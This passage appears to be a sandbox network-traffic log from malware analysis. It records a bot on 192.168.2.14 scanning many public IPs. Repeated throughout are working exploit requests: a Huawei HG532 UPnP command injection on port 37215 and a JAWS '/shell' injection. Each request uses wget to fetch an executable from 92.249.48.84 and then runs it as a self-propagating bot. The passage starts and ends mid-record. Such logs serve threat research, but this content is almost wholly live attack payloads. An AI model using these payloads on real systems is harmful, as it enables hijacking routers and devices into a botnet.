72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	47956	197.164.236.181	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.360718012 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	50606	41.70.200.240	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.361715078 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	56150	41.126.64.10	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.362432003 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	37218	182.64.118.107	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.176359892 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	52240	84.10.168.7	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.177206039 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	55316	156.78.111.135	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.929099083 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	47576	12.12.20.232	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.929126024 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	34852	197.7.119.78	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.930763006 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	40240	41.139.171.186	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.931361914 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	48132	156.239.18.206	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.931932926 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	53696	197.153.240.99	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.932454109 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	32938	197.46.116.92	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.933168888 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	57482	156.167.4.14	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.960990906 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 